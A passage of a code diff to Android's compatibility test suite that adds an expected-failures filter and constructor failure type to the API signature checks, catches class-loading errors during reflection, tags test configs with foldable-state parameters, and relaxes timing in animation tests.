             if (filter != null && filter.skip(clazz)) continue;
-            resultObserver.notifyFailure(FailureType.EXTRA_CLASS, clazz.getName(),
+            resultObserver.notifyFailure(FailureType.extra(clazz), clazz.getName(),
                     "Class annotated with " + annotationSpec
                             + " does not exist in the documented API");
         }
         for (Set<Constructor<?>> set : annotatedConstructorsMap.values()) {
             for (Constructor<?> c : set) {
                 if (filter != null && filter.skip(c)) continue;
-                resultObserver.notifyFailure(FailureType.EXTRA_METHOD, c.toString(),
+                resultObserver.notifyFailure(FailureType.EXTRA_CONSTRUCTOR, c.toString(),
                         "Constructor annotated with " + annotationSpec
                                 + " does not exist in the API");
             }
diff --git a/tests/signature/lib/common/src/android/signature/cts/ApiPresenceChecker.java b/tests/signature/lib/common/src/android/signature/cts/ApiPresenceChecker.java
index fc4335c..743fd5a 100644
--- a/tests/signature/lib/common/src/android/signature/cts/ApiPresenceChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/ApiPresenceChecker.java
@@ -18,6 +18,7 @@
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
+import java.util.Collections;
 import java.util.HashMap;
 import java.util.LinkedHashMap;
 import java.util.Map;
@@ -138,15 +139,24 @@
      * @return a {@link Map} of fieldName to {@link Field}
      */
     private static Map<String, Field> buildFieldMap(Class<?> testClass) {
+        try {
+            return buildFieldMapImpl(testClass);
+        } catch (NoClassDefFoundError e) {
+            LogHelper.loge("AbstractApiChecker: Could not retrieve fields of " + testClass, e);
+            return Collections.emptyMap();
+        }
+    }
+
+    private static Map<String, Field> buildFieldMapImpl(Class<?> testClass) {
         Map<String, Field> fieldMap = new HashMap<>();
         // Scan the superclass
         if (testClass.getSuperclass() != null) {
-            fieldMap.putAll(buildFieldMap(testClass.getSuperclass()));
+            fieldMap.putAll(buildFieldMapImpl(testClass.getSuperclass()));
         }
 
         // Scan the interfaces
         for (Class<?> interfaceClass : testClass.getInterfaces()) {
-            fieldMap.putAll(buildFieldMap(interfaceClass));
+            fieldMap.putAll(buildFieldMapImpl(interfaceClass));
         }
 
         // Check the fields in the test class
diff --git a/tests/signature/lib/common/src/android/signature/cts/DexMember.java b/tests/signature/lib/common/src/android/signature/cts/DexMember.java
index c8470b9..165341a 100644
--- a/tests/signature/lib/common/src/android/signature/cts/DexMember.java
+++ b/tests/signature/lib/common/src/android/signature/cts/DexMember.java
@@ -97,4 +97,35 @@
 
         return javaType + javaDimension;
     }
+
+    public static Class<?> typeToClass(String type) throws ClassNotFoundException {
+        if ("V".equals(type)) {
+            return void.class;
+        } else if ("Z".equals(type)) {
+            return boolean.class;
+        } else if ("B".equals(type)) {
+            return byte.class;
+        } else if ("C".equals(type)) {
+            return char.class;
+        } else if ("S".equals(type)) {
+            return short.class;
+        } else if ("I".equals(type)) {
+            return int.class;
+        } else if ("J".equals(type)) {
+            return long.class;
+        } else if ("F".equals(type)) {
+            return float.class;
+        } else if ("D".equals(type)) {
+            return double.class;
+        } else {
+            // Class names expected for Class.forName are:
+            // * for reference types: Ljava/lang/String; -> java.lang.String
+            // * for array types: [Ljava/lang/String; -> [Ljava.lang.String;
+            type = type.startsWith("L")
+                    ? type.substring(1, type.length() - 1).replace('/', '.')
+                    : type.replace('/', '.');
+        }
+
+        return Class.forName(type, /* initialize */ false, DexMember.class.getClassLoader());
+    }
 }
diff --git a/tests/signature/lib/common/src/android/signature/cts/DexMethod.java b/tests/signature/lib/common/src/android/signature/cts/DexMethod.java
index 967a5a8..972f69c 100644
--- a/tests/signature/lib/common/src/android/signature/cts/DexMethod.java
+++ b/tests/signature/lib/common/src/android/signature/cts/DexMethod.java
@@ -42,6 +42,17 @@
       return mParamTypeList.stream().map(DexMember::dexToJavaType).collect(Collectors.toList());
   }
 
+  public Class<?>[] getJavaParameterClasses() throws ClassNotFoundException {
+    // Ideally we'd use streams, but DexMember.typeToClass throws a checked exception, and that's
+    // tricky to handle.
+    Class<?>[] classes = new Class<?>[mParamTypeList.size()];
+    int i = 0;
+    for (String param : mParamTypeList) {
+        classes[i++] = DexMember.typeToClass(param);
+    }
+    return classes;
+  }
+
   public boolean isConstructor() {
       return "<init>".equals(getName()) && "V".equals(getDexType());
   }
diff --git a/tests/signature/lib/common/src/android/signature/cts/ExpectedFailuresFilter.java b/tests/signature/lib/common/src/android/signature/cts/ExpectedFailuresFilter.java
new file mode 100644
index 0000000..adf045b
--- /dev/null
+++ b/tests/signature/lib/common/src/android/signature/cts/ExpectedFailuresFilter.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts;
+
+import android.signature.cts.FailureType;
+import android.signature.cts.ResultObserver;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Locale;
+import java.util.Set;
+
+/**
+ * Filters out any expected failures.
+ */
+public class ExpectedFailuresFilter implements ResultObserver {
+
+    private final ResultObserver delegate;
+
+    private final Set<String> expected;
+
+    /**
+     * Initialize.
+     *
+     * @param delegate the {@link ResultObserver} to which unexpected failures will be delegated.
+     * @param expected a collection of expected failures in the form {@code <failure-type>:<name>}
+     * where {@code <failure-type>} is the lower case name of a {@link FailureType} and
+     * {@code <name>} is the name of the class, field, constructor or method.
+     */
+    public ExpectedFailuresFilter(ResultObserver delegate, Collection<String> expected) {
+        this.delegate = delegate;
+        this.expected = new HashSet<>(expected);
+    }
+
+    @Override
+    public void notifyFailure(FailureType type, String name, String errorMessage) {
+        String key = type.toString().toLowerCase() + ":" + name;
+        if (expected.contains(key)) {
+            return;
+        }
+
+        delegate.notifyFailure(type, name, errorMessage);
+    }
+}
diff --git a/tests/signature/lib/common/src/android/signature/cts/FailureType.java b/tests/signature/lib/common/src/android/signature/cts/FailureType.java
index 25efcab..672a88c 100644
--- a/tests/signature/lib/common/src/android/signature/cts/FailureType.java
+++ b/tests/signature/lib/common/src/android/signature/cts/FailureType.java
@@ -18,6 +18,7 @@
     UNEXPECTED_CLASS,
     EXTRA_CLASS,
     EXTRA_INTERFACE,
+    EXTRA_CONSTRUCTOR,
     EXTRA_METHOD,
     EXTRA_FIELD,
     CAUGHT_EXCEPTION;
@@ -32,4 +33,7 @@
                 ? FailureType.MISSING_INTERFACE : FailureType.MISSING_CLASS;
     }
 
+    static FailureType extra(Class<?> clazz) {
+        return clazz.isInterface() ? FailureType.EXTRA_INTERFACE : FailureType.EXTRA_CLASS;
+    }
 }
diff --git a/tests/signature/lib/common/src/android/signature/cts/LogHelper.java b/tests/signature/lib/common/src/android/signature/cts/LogHelper.java
index 5505e4a..e2f5750 100644
--- a/tests/signature/lib/common/src/android/signature/cts/LogHelper.java
+++ b/tests/signature/lib/common/src/android/signature/cts/LogHelper.java
@@ -19,7 +19,7 @@
  */
 public class LogHelper {
 
-    static void loge(String message, Exception exception) {
-        System.out.println(String.format("%s: %s", message, exception));
+    static void loge(String message, Throwable throwable) {
+        System.out.println(String.format("%s: %s", message, throwable));
     }
 }
diff --git a/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java b/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java
index 0890bc9..693e27e 100644
--- a/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java
+++ b/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java
@@ -30,6 +30,7 @@
 import java.lang.reflect.TypeVariable;
 import java.lang.reflect.WildcardType;
 import java.util.ArrayList;
+import java.util.Collections;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
@@ -41,6 +42,7 @@
  * Uses reflection to obtain runtime representations of elements in the API.
  */
 public class ReflectionHelper {
+    private static final String TAG = "ReflectionHelper";
 
     /**
      * Finds the reflected class for the class under test.
@@ -135,6 +137,16 @@
     static Constructor<?> findMatchingConstructor(Class<?> runtimeClass,
             JDiffConstructor jdiffDes, Map<Constructor, String> mismatchReasons) {
 
+        try {
+            return findMatchingConstructorImpl(runtimeClass, jdiffDes, mismatchReasons);
+        } catch (NoClassDefFoundError e) {
+            LogHelper.loge(TAG + ": Could not retrieve constructors of " + runtimeClass, e);
+            return null;
+        }
+    }
+
+    static Constructor<?> findMatchingConstructorImpl(Class<?> runtimeClass,
+            JDiffConstructor jdiffDes, Map<Constructor, String> mismatchReasons) {
         for (Constructor<?> c : runtimeClass.getDeclaredConstructors()) {
             Type[] params = c.getGenericParameterTypes();
             boolean isStaticClass = ((runtimeClass.getModifiers() & Modifier.STATIC) != 0);
@@ -231,6 +243,16 @@
      */
     static Method findMatchingMethod(
             Class<?> runtimeClass, JDiffMethod method, Map<Method, String> mismatchReasons) {
+        try {
+            return findMatchingMethodImpl(runtimeClass, method, mismatchReasons);
+        } catch (NoClassDefFoundError e) {
+            LogHelper.loge(TAG + ": Could not retrieve methods of " + runtimeClass, e);
+            return null;
+        }
+    }
+
+    static Method findMatchingMethodImpl(
+            Class<?> runtimeClass, JDiffMethod method, Map<Method, String> mismatchReasons) {
 
         // Search through the class to find the methods just in case the method was actually
         // declared in a superclass which is not part of the API and so was made to appear as if
@@ -452,6 +474,17 @@
      */
     public static Set<Constructor<?>> getAnnotatedConstructors(Class<?> clazz,
             String annotationSpec) {
+        try {
+            return getAnnotatedConstructorsImpl(clazz, annotationSpec);
+        } catch (NoClassDefFoundError e) {
+            LogHelper.loge(TAG + ": Could not retrieve constructors of " + clazz
+                + " annotated with " + annotationSpec, e);
+            return Collections.emptySet();
+        }
+    }
+
+    private static Set<Constructor<?>> getAnnotatedConstructorsImpl(Class<?> clazz,
+        String annotationSpec) {
         Set<Constructor<?>> result = new HashSet<>();
         if (annotationSpec != null) {
             for (Constructor<?> c : clazz.getDeclaredConstructors()) {
@@ -474,6 +507,16 @@
      * Returns a list of methods which are annotated with the given annotation class.
      */
     public static Set<Method> getAnnotatedMethods(Class<?> clazz, String annotationSpec) {
+        try {
+            return getAnnotatedMethodsImpl(clazz, annotationSpec);
+        } catch (NoClassDefFoundError e) {
+            LogHelper.loge(TAG + ": Could not retrieve methods of " + clazz
+                + " annotated with " + annotationSpec, e);
+            return Collections.emptySet();
+        }
+    }
+
+    private static Set<Method> getAnnotatedMethodsImpl(Class<?> clazz, String annotationSpec) {
         Set<Method> result = new HashSet<>();
         if (annotationSpec != null) {
             for (Method m : clazz.getDeclaredMethods()) {
@@ -490,6 +533,16 @@
      * Returns a list of fields which are annotated with the given annotation class.
      */
     public static Set<Field> getAnnotatedFields(Class<?> clazz, String annotationSpec) {
+        try {
+            return getAnnotatedFieldsImpl(clazz, annotationSpec);
+        } catch (NoClassDefFoundError e) {
+            LogHelper.loge(TAG + ": Could not retrieve fields of " + clazz
+                + " annotated with " + annotationSpec, e);
+            return Collections.emptySet();
+        }
+    }
+
+    private static Set<Field> getAnnotatedFieldsImpl(Class<?> clazz, String annotationSpec) {
         Set<Field> result = new HashSet<>();
         if (annotationSpec != null) {
             for (Field f : clazz.getDeclaredFields()) {
diff --git a/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java b/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java
index 3e18522..13b5fd9 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java
@@ -54,27 +54,6 @@
                 excludedRuntimeClasses);
     }
 
-    private static void addConstructor(JDiffClassDescription clz, String... paramTypes) {
-        JDiffClassDescription.JDiffConstructor constructor = new JDiffClassDescription.JDiffConstructor(
-                clz.getShortClassName(), Modifier.PUBLIC);
-        if (paramTypes != null) {
-            for (String type : paramTypes) {
-                constructor.addParam(type);
-            }
-        }
-        clz.addConstructor(constructor);
-    }
-
-    private static void addPublicVoidMethod(JDiffClassDescription clz, String name) {
-        clz.addMethod(method(name, Modifier.PUBLIC, "void"));
-    }
-
-    private static void addPublicBooleanField(JDiffClassDescription clz, String name) {
-        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
-                name, "boolean", Modifier.PUBLIC, VALUE);
-        clz.addField(field);
-    }
-
     /**
      * Documented API and runtime classes are exactly matched.
      */
@@ -104,7 +83,7 @@
      */
     @Test
     public void testDetectUnauthorizedConstructorApi() {
-        ExpectFailure observer = new ExpectFailure(FailureType.EXTRA_METHOD);
+        ExpectFailure observer = new ExpectFailure(FailureType.EXTRA_CONSTRUCTOR);
 
         JDiffClassDescription clz = createClass("SystemApiClass");
         // (omitted) addConstructor(clz);
@@ -116,7 +95,7 @@
                 "android.signature.cts.tests.data.ForciblyPublicizedPrivateClass");
         observer.validate();
 
-        observer = new ExpectFailure(FailureType.EXTRA_METHOD);
+        observer = new ExpectFailure(FailureType.EXTRA_CONSTRUCTOR);
 
         clz = createClass("PublicApiClass");
         // (omitted) addConstructor(clz);
diff --git a/tests/signature/tests/src/android/signature/cts/tests/ApiPresenceCheckerTest.java b/tests/signature/tests/src/android/signature/cts/tests/ApiPresenceCheckerTest.java
index 719be91..9929c3e 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/ApiPresenceCheckerTest.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/ApiPresenceCheckerTest.java
@@ -60,6 +60,27 @@
         return clz;
     }
 
+    protected static void addConstructor(JDiffClassDescription clz, String... paramTypes) {
+        JDiffClassDescription.JDiffConstructor constructor =
+            new JDiffClassDescription.JDiffConstructor(clz.getShortClassName(), Modifier.PUBLIC);
+        if (paramTypes != null) {
+            for (String type : paramTypes) {
+                constructor.addParam(type);
+            }
+        }
+        clz.addConstructor(constructor);
+    }
+
+    protected static void addPublicVoidMethod(JDiffClassDescription clz, String name) {
+        clz.addMethod(method(name, Modifier.PUBLIC, "void"));
+    }
+
+    protected static void addPublicBooleanField(JDiffClassDescription clz, String name) {
+        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+                name, "boolean", Modifier.PUBLIC, VALUE);
+        clz.addField(field);
+    }
+
     void checkSignatureCompliance(JDiffClassDescription classDescription,
             String... excludedRuntimeClassNames) {
         ResultObserver resultObserver = new NoFailures();
diff --git a/tests/signature/tests/src/android/signature/cts/tests/ExpectedFailuresFilterAnnotationCheckerTest.java b/tests/signature/tests/src/android/signature/cts/tests/ExpectedFailuresFilterAnnotationCheckerTest.java
new file mode 100644
index 0000000..789d54f
--- /dev/null
+++ b/tests/signature/tests/src/android/signature/cts/tests/ExpectedFailuresFilterAnnotationCheckerTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.tests;
+
+import android.signature.cts.AnnotationChecker;
+import android.signature.cts.ClassProvider;
+import android.signature.cts.ExpectedFailuresFilter;
+import android.signature.cts.FailureType;
+import android.signature.cts.JDiffClassDescription;
+import android.signature.cts.ResultObserver;
+import android.signature.cts.tests.data.ApiAnnotation;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+/**
+ * Test class for {@link ExpectedFailuresFilter} when run with {@link AnnotationChecker}.
+ */
+@RunWith(JUnit4.class)
+public class ExpectedFailuresFilterAnnotationCheckerTest
+    extends ApiPresenceCheckerTest<AnnotationChecker> {
+
+    @Override
+    protected AnnotationChecker createChecker(ResultObserver resultObserver,
+            ClassProvider provider) {
+        return new AnnotationChecker(resultObserver, provider, ApiAnnotation.class.getName(), null);
+    }
+
+    @Test
+    public void testIgnoreExpectedFailures_TestPasses() {
+        NoFailures observer = new NoFailures();
+
+        ResultObserver filter = new ExpectedFailuresFilter(observer, Arrays.asList(
+            "extra_class:android.signature.cts.tests.data.ForciblyPublicizedPrivateClass",
+            "extra_constructor:public android.signature.cts.tests.data.SystemApiClass()",
+            "extra_method:public void android.signature.cts.tests.data.SystemApiClass.apiMethod()",
+            "extra_field:public boolean android.signature.cts.tests.data.SystemApiClass.apiField"
+        ));
+
+        // Define the API that is expected to be provided by the SystemApiClass. Omitted members
+        // are actually provided by the SytstemApiClass definition and so will result in an
+        // extra_... error.
+        JDiffClassDescription clz = createClass("SystemApiClass");
+        // (omitted) addConstructor(clz);
+        // (omitted) addPublicVoidMethod(clz, "apiMethod");
+        // (omitted) addPublicBooleanField(clz, "apiField");
+
+        checkSignatureCompliance(clz, filter,
+                "android.signature.cts.tests.data.PublicApiClass");
+        // Note that ForciblyPublicizedPrivateClass is now included in the runtime classes
+    }
+
+    @Test
+    public void testIgnoreExpectedFailures_TestStillFails() {
+        ExpectFailure observer = new ExpectFailure(FailureType.MISSING_ANNOTATION);
+
+        ResultObserver filter = new ExpectedFailuresFilter(observer, Arrays.asList(
+            "extra_method:public void android.signature.cts.tests.data.SystemApiClass.apiMethod()",
+            "extra_field:public boolean android.signature.cts.tests.data.SystemApiClass.apiField"
+        ));
+
+        // Define the API that is expected to be provided by the SystemApiClass. Omitted members
+        // are actually provided by the SytstemApiClass definition and so will result in an
+        // extra_... error.
+        JDiffClassDescription clz = createClass("SystemApiClass");
+        addConstructor(clz);
+        // (omitted) addPublicVoidMethod(clz, "apiMethod");
+        // (omitted) addPublicBooleanField(clz, "apiField");
+
+        checkSignatureCompliance(clz, filter,
+            "android.signature.cts.tests.data.PublicApiClass",
+            "android.signature.cts.tests.data.ForciblyPublicizedPrivateClass");
+    }
+}
diff --git a/tests/suspendapps/permission/AndroidTest.xml b/tests/suspendapps/permission/AndroidTest.xml
index fb593aa..e17ccd8 100644
--- a/tests/suspendapps/permission/AndroidTest.xml
+++ b/tests/suspendapps/permission/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/suspendapps/tests/AndroidTest.xml b/tests/suspendapps/tests/AndroidTest.xml
index e74b7c9..3c17d95 100644
--- a/tests/suspendapps/tests/AndroidTest.xml
+++ b/tests/suspendapps/tests/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/accounts/AndroidTest.xml b/tests/tests/accounts/AndroidTest.xml
index 0f118d8..7c04659 100644
--- a/tests/tests/accounts/AndroidTest.xml
+++ b/tests/tests/accounts/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
diff --git a/tests/tests/animation/AndroidTest.xml b/tests/tests/animation/AndroidTest.xml
index ea0dacc..b85c307 100644
--- a/tests/tests/animation/AndroidTest.xml
+++ b/tests/tests/animation/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAnimationTestCases.apk" />
diff --git a/tests/tests/animation/src/android/animation/cts/AnimatorTest.java b/tests/tests/animation/src/android/animation/cts/AnimatorTest.java
index 7812478..53e48a8 100644
--- a/tests/tests/animation/src/android/animation/cts/AnimatorTest.java
+++ b/tests/tests/animation/src/android/animation/cts/AnimatorTest.java
@@ -94,10 +94,11 @@
         assertEquals(duration, animatorLocal.getDuration());
     }
 
+    @UiThreadTest
     @Test
     public void testIsRunning() throws Throwable {
         assertFalse(mAnimator.isRunning());
-        startAnimation(mAnimator);
+        mAnimator.start();
         assertTrue(mAnimator.isRunning());
     }
 
@@ -156,7 +157,7 @@
         assertFalse(listener.mEnd);
         assertEquals(listener.mRepeat, 0);
         mAnimator.addListener(listener);
-        mAnimator.setDuration(100l);
+        mAnimator.setDuration(5000);
         startAnimation(mAnimator);
         SystemClock.sleep(200);
 
diff --git a/tests/tests/animation/src/android/animation/cts/ObjectAnimatorTest.java b/tests/tests/animation/src/android/animation/cts/ObjectAnimatorTest.java
index b9ffd34..270b3af 100644
--- a/tests/tests/animation/src/android/animation/cts/ObjectAnimatorTest.java
+++ b/tests/tests/animation/src/android/animation/cts/ObjectAnimatorTest.java
@@ -123,7 +123,7 @@
         mActivityRule.runOnUiThread(objAnimator::start);
         assertTrue(objAnimator != null);
 
-        verify(mockListener, timeout(2000).atLeast(20)).onAnimationUpdate(objAnimator);
+        verify(mockListener, timeout(2000).atLeast(2)).onAnimationUpdate(objAnimator);
         mActivityRule.runOnUiThread(objAnimator::cancel);
     }
 
@@ -157,12 +157,12 @@
 
         intAnimator.addUpdateListener(updateListener);
         intAnimator.setDuration(200);
-        intAnimator.setRepeatCount(1);
+        intAnimator.setRepeatCount(10);
         intAnimator.setRepeatMode(ValueAnimator.REVERSE);
         mActivityRule.runOnUiThread(intAnimator::start);
 
-        verify(mockListener, timeout(400)).onAnimationRepeat(intAnimator);
-        verify(mockListener, timeout(400)).onAnimationEnd(intAnimator, false);
+        verify(mockListener, timeout(2000)).onAnimationRepeat(intAnimator);
+        verify(mockListener, timeout(3000)).onAnimationEnd(intAnimator, false);
     }
 
     @Test
@@ -191,12 +191,12 @@
 
         colorAnimator.addUpdateListener(updateListener);
         colorAnimator.setDuration(200);
-        colorAnimator.setRepeatCount(1);
+        colorAnimator.setRepeatCount(10);
         colorAnimator.setRepeatMode(ValueAnimator.REVERSE);
         mActivityRule.runOnUiThread(colorAnimator::start);
 
-        verify(mockListener, timeout(400)).onAnimationRepeat(colorAnimator);
-        verify(mockListener, timeout(400)).onAnimationEnd(colorAnimator, false);
+        verify(mockListener, timeout(2000)).onAnimationRepeat(colorAnimator);
+        verify(mockListener, timeout(3000)).onAnimationEnd(colorAnimator, false);
     }
 
     @Test
@@ -279,7 +279,7 @@
         // Verify that null target ObjectAnimator didn't get canceled.
         verify(listener, times(0)).onAnimationCancel(anim);
         // Verify that the update listeners gets called a few times.
-        verify(updateListener, atLeast(8)).onAnimationUpdate(anim);
+        verify(updateListener, atLeast(1)).onAnimationUpdate(anim);
     }
 
     @Test
diff --git a/tests/tests/animation/src/android/animation/cts/PropertyValuesHolderTest.java b/tests/tests/animation/src/android/animation/cts/PropertyValuesHolderTest.java
index c82be8e..75e9bd3 100644
--- a/tests/tests/animation/src/android/animation/cts/PropertyValuesHolderTest.java
+++ b/tests/tests/animation/src/android/animation/cts/PropertyValuesHolderTest.java
@@ -270,7 +270,7 @@
         assertTrue(objAnimator != null);
         setAnimatorProperties(objAnimator);
         mActivityRule.runOnUiThread(objAnimator::start);
-        SystemClock.sleep(1000);
+        SystemClock.sleep(2000);
         assertTrue(objAnimator.isRunning());
         Integer animatedValue = (Integer) objAnimator.getAnimatedValue();
         assertTrue(animatedValue >= start);
@@ -783,7 +783,7 @@
     }
 
     private void setAnimatorProperties(ObjectAnimator objAnimator) {
-        objAnimator.setDuration(mDuration);
+        objAnimator.setDuration(5000);
         objAnimator.setRepeatCount(ValueAnimator.INFINITE);
         objAnimator.setInterpolator(new AccelerateInterpolator());
         objAnimator.setRepeatMode(ValueAnimator.REVERSE);
@@ -794,7 +794,7 @@
         for(int i = 0; i < 3; i++) {
             float y = mActivity.view.newBall.getY();
             yArray[i] = y;
-            SystemClock.sleep(300);
+            SystemClock.sleep(1300);
         }
         return yArray;
     }
diff --git a/tests/tests/apache-http/AndroidTest.xml b/tests/tests/apache-http/AndroidTest.xml
index 0bd9d28..4265f9f 100644
--- a/tests/tests/apache-http/AndroidTest.xml
+++ b/tests/tests/apache-http/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsApacheHttpTestCases.apk" />
diff --git a/tests/tests/app.usage/AndroidTest.xml b/tests/tests/app.usage/AndroidTest.xml
index 3dbfb93..9854d57 100644
--- a/tests/tests/app.usage/AndroidTest.xml
+++ b/tests/tests/app.usage/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/app.usage/TestApp1/Android.bp b/tests/tests/app.usage/TestApp1/Android.bp
index cba5df5..956d5d2 100644
--- a/tests/tests/app.usage/TestApp1/Android.bp
+++ b/tests/tests/app.usage/TestApp1/Android.bp
@@ -19,7 +19,6 @@
 android_test_helper_app {
     name: "CtsUsageStatsTestApp1",
     defaults: ["cts_defaults"],
-    platform_apis: true,
     static_libs: [
         "androidx.test.rules",
         "compatibility-device-util-axt",
diff --git a/tests/tests/app.usage/TestApp2/Android.bp b/tests/tests/app.usage/TestApp2/Android.bp
index 1ac6331..0506ff1 100644
--- a/tests/tests/app.usage/TestApp2/Android.bp
+++ b/tests/tests/app.usage/TestApp2/Android.bp
@@ -19,7 +19,6 @@
 android_test_helper_app {
     name: "CtsUsageStatsTestApp2",
     defaults: ["cts_defaults"],
-    platform_apis: true,
     static_libs: [
         "androidx.test.rules",
         "compatibility-device-util-axt",
diff --git a/tests/tests/appenumeration/AndroidTest.xml b/tests/tests/appenumeration/AndroidTest.xml
index 8bb21c0..d73484d 100644
--- a/tests/tests/appenumeration/AndroidTest.xml
+++ b/tests/tests/appenumeration/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <!-- Force service to be installed as non-instant mode, always -->
 
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
index e48ba00..b1e5966 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
@@ -596,7 +596,10 @@
 
     @Test
     fun ensurePhoneCallOpsRestricted() {
-        assumeTrue(mContext.packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY))
+        val pm = mContext.packageManager
+        assumeTrue(pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY) ||
+                pm.hasSystemFeature(PackageManager.FEATURE_MICROPHONE) ||
+                pm.hasSystemFeature(PackageManager.FEATURE_CONNECTION_SERVICE))
         val micReturn = mAppOps.noteOp(OPSTR_PHONE_CALL_MICROPHONE, Process.myUid(), mOpPackageName,
                 null, null)
         assertEquals(MODE_IGNORED, micReturn)
diff --git a/tests/tests/appwidget/AndroidTest.xml b/tests/tests/appwidget/AndroidTest.xml
index 57c09a7..1a3adac 100644
--- a/tests/tests/appwidget/AndroidTest.xml
+++ b/tests/tests/appwidget/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAppWidgetLauncher1.apk" />
